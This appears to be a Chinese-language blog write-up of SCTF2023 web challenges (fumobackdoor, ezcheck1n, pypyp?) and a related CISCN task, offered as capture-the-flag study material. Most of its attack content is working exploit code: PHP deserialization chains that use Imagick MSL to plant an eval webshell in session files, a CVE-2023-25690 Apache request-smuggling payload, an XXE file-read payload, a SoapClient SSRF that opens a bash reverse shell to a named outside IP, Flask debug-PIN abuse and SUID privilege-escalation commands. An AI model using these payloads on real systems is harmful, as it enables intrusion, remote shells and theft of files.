SCTF2023Web部分题解

文章发布时间:

最后更新时间:

文章总字数:
3.7k

预计阅读时间:
18 分钟

SCTF2023Web

fumobackdoor

这道fumobackdoor和2022ciscn总决赛的backdoor其实差不多一道题(出题人都是一个人),今天就来分析一下这两道题的详细做题流程。

2022CISCN总决赛backdoor

这道题还是挺有意思的,出现了__sleep魔术方法,这个方法在数据被序列化的时候自动调用,而自动序列化数据的场合比较少,这里使用的是session_start,先反序列化session文件中的数据并放进$SESSION(如果有的话),再序列化存回去。

image-20230801213142597

首页给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
error_reporting(E_ERROR);
class backdoor {
public $path = null;
public $argv = null;
public $class = "stdclass";
public $do_exec_func = true;

public function __sleep() {
if (file_exists($this->path)) {
return include $this->path;
} else {
throw new Exception("__sleep failed...");
}
}

public function __wakeup() {
if (
$this->do_exec_func &&
in_array($this->class, get_defined_functions()["internal"])
) {
call_user_func($this->class);
} else {
$argv = $this->argv;
$class = $this->class;

new $class($argv); // 没有echo
}
}
}


$cmd = $_REQUEST['cmd'];
$data = $_REQUEST['data'];

switch ($cmd) {
case 'unserialze':
unserialize($data);
break;

case 'rm':
system("rm -rf /tmp");
break;

default:
highlight_file(__FILE__);
break;
}

首先看到wakeup可以执行一个无参函数(可以先执行phpinfo来看看信息)

再看到sleep函数中include,文件包含rce漏洞,可以想到将马写入到session文件再include即可执行命令,而要调用sleep函数必须要有序列化进程,而session_start()函数刚好就是一个先将session文件反序列化再序列化的无参函数,问题转向控制session文件的内容。

控制session文件内容

phpinfo中提到使用了imagick拓展,且通过参考文章(以后遇到了类似这种构造类的也可以参考这篇文章,写得太全了),利用php任意类构造new $a($b),可以使用imagick触发msl,从而执行msl,将指定的内容写入到指定的位置,具体操作是new imagick(vid:msl:/tmp/php*)

image-20230801221819801

可以使用通配符就不用爆破php后6位,注意msl必须是一个标准的图片格式(xml),使用ppm格式,前面写上必要的参数来解析,带上脏数据(注意脏数据字符的个数是有讲究的,不然后面的base64解出来就是乱码)并在后面写上一句话木马和要反序列化的backdoor对象,backdoor对象注意设置path就是/tmp/session_sessionid。文件示意如下:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8P3BocCBldmFsKCRfR0VUWzFdKTs/PnxPOjEzOiJmdW1vX2JhY2tkb29yIjozOntzOjQ6InBhdGgiO3M6OToiL3RtcC9GTEFHIjtzOjQ6ImFyZ3YiO047czoxOiJjIjtOO30=" />
<write filename="/tmp/sess_tel" />
</image>

session_start调用sleep从而实现include然后rce

接着通过指定sessionid去调用session_start函数,session_start就会将指定sessionid的session文件反序列化,再将其序列化从而执行sleep,实现session文件包含,同时传入命令即可实现rce。

image-20230801111813482

总的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import re
import sys
import time
import requests

timeout = 30

host = "127.0.0.1"
port = "32768"

url = f"http://{host}:{port}"
write_session_payload = "O%3A8%3A%22backdoor%22%3A3%3A%7Bs%3A14%3A%22%00backdoor%00argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A15%3A%22%00backdoor%00class%22%3Bs%3A7%3A%22imagick%22%3Bs%3A12%3A%22do_exec_func%22%3Bb%3A0%3B%7D"
session_sleep_chain_payload = "O%3A8%3A%22backdoor%22%3A2%3A%7Bs%3A5%3A%22class%22%3Bs%3A13%3A%22session_start%22%3Bs%3A12%3A%22do_exec_func%22%3Bb%3A1%3B%7D"


def rm_tmp_file():
headers = {"Accept": "*/*"}
requests.get(
f"{url}/?cmd=rm",
headers=headers
)


def upload_session():
headers = {
"Accept": "*/*",
"Content-Type": "multipart/form-data; boundary=------------------------c32aaddf3d8fd979"
}
data = "--------------------------c32aaddf3d8fd979\r\nContent-Disposition: form-data; name=\"swarm\"; filename=\"swarm.msl\"\r\nContent-Type: application/octet-stream\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<image>\r\n <read filename=\"inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=\" />\r\n <write filename=\"/tmp/sess_afkl\" />\r\n</image>\r\n--------------------------c32aaddf3d8fd979--"
try:
requests.post(
f"{url}/?data="+write_session_payload+"&cmd=unserialze",
headers=headers, data=data
)
except requests.exceptions.ConnectionError:
pass


def get_flag():
cookies = {"PHPSESSID": "afkl"}
headers = {"Accept": "*/*"}
response = requests.get(
f"{url}/?data="+session_sleep_chain_payload+"&cmd=unserialze&1=system('/readflag');",
headers=headers, cookies=cookies
)
return re.findall(r"(flag\{.*\})", response.text)


# 主逻辑
if __name__ == '__main__':
rm_tmp_file()
upload_session()

time.sleep(1)

print(get_flag()[0])

fumobackdoor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
error_reporting(0);
ini_set('open_basedir', __DIR__.":/tmp");
define("FUNC_LIST", get_defined_functions());

class fumo_backdoor {
public $path = null;
public $argv = null;
public $func = null;
public $class = null;

public function __sleep() {
if (
file_exists($this->path) &&
preg_match_all('/[flag]/m', $this->path) === 0
) {
readfile($this->path);
}
}

public function __wakeup() {
$func = $this->func;
if (
is_string($func) &&
in_array($func, FUNC_LIST["internal"])
) {
call_user_func($func);
} else {
$argv = $this->argv;
$class = $this->class;

new $class($argv);
}
}
}

$cmd = $_REQUEST['cmd'];
$data = $_REQUEST['data'];

switch ($cmd) {
case 'unserialze':
unserialize($data);
break;

case 'rm':
system("rm -rf /tmp 2>/dev/null");
break;

default:
highlight_file(__FILE__);
break;
}

通过源码可以注意到与上一题最大的不同就是最后不再include,而是直接readfile,这就导致我们不能直接rce,只能通过读的方式来获得flag,而读文件的位置又不能是原来的/flag,故可以考虑将flag复制到别的文件再进行读取。刚好,msl里面也可以将一个文件的内容读到另一个文件。故其实本题和上一题相比只是多了一个步骤,就是先转移文件,再控制session,再通过session_start来执行sleep,从而读到文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
url = "http://182.92.6.230:18080/?cmd=unserialze"


#rm
r = requests.get("http://182.92.6.230:18080/?cmd=rm")
time.sleep(1)

#file write
r = requests.post(url,data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";s:17:"vid:msl:/tmp/php*";s:4:"func";N;s:5:"class";s:7:"Imagick";}'}, files={"file1":open("lfi.xml").read()},headers={"Cookie":"PHPSESSID=tel"})
time.sleep(1)


#session write
r = requests.post(url,data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";s:17:"vid:msl:/tmp/php*";s:4:"func";N;s:5:"class";s:7:"Imagick";}'}, files={"file1":open("hack.xml").read()},headers={"Cookie":"PHPSESSID=tel"})
time.sleep(1)

#session start
r = requests.post(url,data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";s:9:"/tmp/FLAG";s:4:"argv";N;s:4:"func";s:13:"session_start";s:5:"class";N;}'},headers={"Cookie":"PHPSESSID=tel"})
print(r.text)

其中,lfi.xml:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="app1:/flag" />
<write filename="/tmp/FLAG" />
</image>

hack.xml:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8P3BocCBldmFsKCRfR0VUWzFdKTs/PnxPOjEzOiJmdW1vX2JhY2tkb29yIjozOntzOjQ6InBhdGgiO3M6OToiL3RtcC9GTEFHIjtzOjQ6ImFyZ3YiO047czoxOiJjIjtOO30=" />
<write filename="/tmp/sess_tel" />
</image>

ezcheck1n

如果访问 http://115.239.215.75:8082/2023/ 则返回的数据头中存在 Server: Apache/2.4.54 (Debian),而如果访问 http://115.239.215.75:8082/ 那么返回的数据头是 Apache/2.4.55 (Unix),这就是题目描述中的两个容器,说明访问2023的时候进行了路由转发,而根据提示内容可知2023.php中并没有真正的flag,真正的flag在过去,猜测在/2022.php中,于是问题转换为如何在请求包没有/2023/的情况下也发生路由转发,并请求2022.php。可以联想到http走私,先发一个有2023的,再跟上一个/2022.php的请求包(和前端检测绕过差不多)

有个CVE-2023-25690 Apache HTTP Server请求走私漏洞,Apache版本低于2.4.55,这里可以利用,这个漏洞简单说来就是当正则匹配到uri的一部分的时候会运用重写规则并向后端服务器发出请求,而在向后端发出请求的过程中我们传入的r->uri经过url解码,也就是说控制字符都被解析了,联想到CRLF攻击,其实这里也差不多,通过%0d%0a来拼接两个数据包即可达到先2023再向后端发起2022请求。请求url填自己的vps就可以获得flag,拼起来如下:

1
2
3
4
5
6
7
8
9
10
GET /2023/%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/2022.php%3furl%3d43.143.246.73%3a7777 HTTP/1.1
Host: 115.239.215.75:8082
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://115.239.215.75:8082/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

拆开就是下面这两个请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /2023/ HTTP/1.1
Host:localhost

GET /2022.php?url=43.143.246.73:7777 HTTP/1.1
Host: 115.239.215.75:8082
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://115.239.215.75:8082/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

参考链接

SCTF2023 Web | TEL (l1nyz-tel.cc)

CVE-2023-25690 Apache HTTP Server 请求走私漏洞 分析与利用 - 先知社区 (aliyun.com)

pypyp?

a piece of cake but hard work。per 5 min restart.
pay attention to /app/app.py

开启SESSION

浅谈 SESSION_UPLOAD_PROGRESS 的利用-腾讯云开发者社区-腾讯云 (tencent.com)

Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。所以,我们可以通过这个特性来在目标主机上初始化Session。

session中一部分数据(session.upload_progress.name)是用户自己可以控制的。那么我们只要在上传文件的时候,同时POST一个恶意的字段 PHP_SESSION_UPLOAD_PROGRESS,目标服务器的PHP就会自动启用Session,Session文件将会自动创建

1
2
3
4
5
6
7
8
9
10
<!doctype html>
<html>
<body>
<form action="http://192.168.43.82/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>

随便上传个文件,加个cookie是PHPSESSID=就可以开启session。

开头先用这个方法创建个session可以看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
if(!isset($_SESSION)){
die('Session not started');
}
highlight_file(__FILE__);
$type = $_SESSION['type'];
$properties = $_SESSION['properties'];
echo urlencode($_POST['data']);
extract(unserialize($_POST['data']));
if(is_string($properties)&&unserialize(urldecode($properties))){
$object = unserialize(urldecode($properties));
$object -> sctf();
exit();
} else if(is_array($properties)){
$object = new $type($properties[0],$properties[1]);
} else {
$object = file_get_contents('http://127.0.0.1:5000/'.$properties);
}
echo "this is the object: $object <br>";

?>

extract变量覆盖

extract(unserialize($_POST[‘data’]));,extract导致的变量覆盖漏洞

extract官方功能说明为“从数组中将变量导入到当前的符号表”,通俗讲就是将数组中的键值对注册成变量,如果变量已注册就覆盖他们的值

因此,通过data的传入,type和properties可以自由控制

1
2
3
$object -> sctf();
$object = new $type($properties[0],$properties[1]);
file_get_contents('http://127.0.0.1:5000/'.$properties);

SimpleXMLElement XXE任意文件读取

第二个new了一个类,并且有两个参数,可以通过php原生类加以利用,结合SimpleXMLElement来进行XXE攻击,从而实现任意文件读取

1
2
3
4
<?php
$xxe = array('<?xml version="1.0" ?><!DOCTYPE ANY[<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root>&xxe;</root>',2);
$data = array('type'=>'SimpleXmlElement','properties'=>$xxe);
echo serialize($data);

根据题目提示,读/app/app.py

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask

app = Flask(__name__)

@app.route('/')
def index():
return 'Hello World!'

if __name__ == '__main__':
app.run(host="0.0.0.0",debug=True)

Flask算PIN

可以看到开了debug模式,那肯定考的就是算pin了,算pin脚本如下

Flask-cookie-generation-based-on-PIN-code/get_flask_pin_and_cookie.py at main · WiIs0n/Flask-cookie-generation-based-on-PIN-code (github.com)

  • username:通过查看/etc/passwd可以看到全部的用户,有一个叫做app的,是这个用户
  • modename:默认值为flask.app,不需要改
  • appname:默认值为Flask,不需要改
  • basefile:app.py的存放位置,这里可以猜,大部分默认都是/usr/lib/python3.x/site-packages/flask/app.py,这里python版本是3.8,用FileSystemIterator这个原生类配合glob协议读一下
  • uuid:一般读取这个文件:/sys/class/net/eth0/address的十进制
  • machineid:题目是docker环境,所以是/proc/sys/kernel/random/boot_id后拼接/proc/sys/kernel/random/boot_id+/proc/self/cgroup的docker部分

可以本地起一个flask服务,进入debug模式看看要传的是什么参数。

输pin码的时候抓个包,还要传入的参数是s,也就是flask的secretkey,通过访问/console路由可以得到,源码里当properties是字符串的时候可以访问内网

1
data=a:1:{s:10:"properties";s:7:"console";}

在console输命令的时候抓个包,发现这时候还要带上cookie,刚刚算出来的cookie就要用上。参数cmd输命令。

SoapClient实现SSRF反弹shell

无法通过请求原来的页面进行rce,因为没法把cookie带过去,所以我们又要通过一个原生类来直接向console发包,可以联想到SoapClient,SoapClient能发http请求到内网(ssrf)的关键在于自动调用的__call__方法,这时候可以看到源码中三个if目前还没有利用上的最后一个if

1
2
3
4
if(is_string($properties)&&unserialize(urldecode($properties))){
$object = unserialize(urldecode($properties));
$object -> sctf();
exit();

看似调用的是sctf(),其实是__call__方法,因为没有sctf这个方法,从而可以借助SoapClient实现SSRF,执行命令并反弹个shell到自己的vps上

1
2
3
4
5
<?php
$sop = new SoapClient(null,array('user_agent'=>"test\r\nCookie: __wzdb2a60e2b19822632a67c=1687701860|11b8517fb9fb",'location'=>'http://127.0.0.1:5000/console?__debugger__=yes&cmd=__import__("os").popen(%22bash%20-c%20%5C%22bash%20-i%20%3E%26%20/dev/tcp/43.143.246.73/7777%200%3E%261%5C%22%22)&frm=0&s=DhOJxtvMXCtezvKtqaK9','uri'=>'test'));
$arr = array("properties"=>urlencode(serialize($sop)));
$b = serialize($arr);
echo $b;

SUID提权

拿到shell之后发现还不够权限看flag,需要提权。

这里使用的是suid提权,先查查有哪些文件可以不用密码以root身份执行

1
2
find / -user root -perm -4000 -print 2>/dev/null&find / -perm -u=s -type f 2>/dev/nullfind / -us
er root -perm -4000 -exec ls -ldb {} ;

找到有curl,直接用curl+file协议读本地文件flag即可

image-20230802165206853

参考链接:

SCTF2023 Web | TEL (l1nyz-tel.cc)

SCTF-Web复现 | y1’s Blog (y1zh3e7.github.io)

对Linux|suid提权的一些总结 - FreeBuf网络安全行业门户

浅谈 SESSION_UPLOAD_PROGRESS 的利用-腾讯云开发者社区-腾讯云 (tencent.com)

先复现这三题吧,后面的有点复杂了,以后再来看。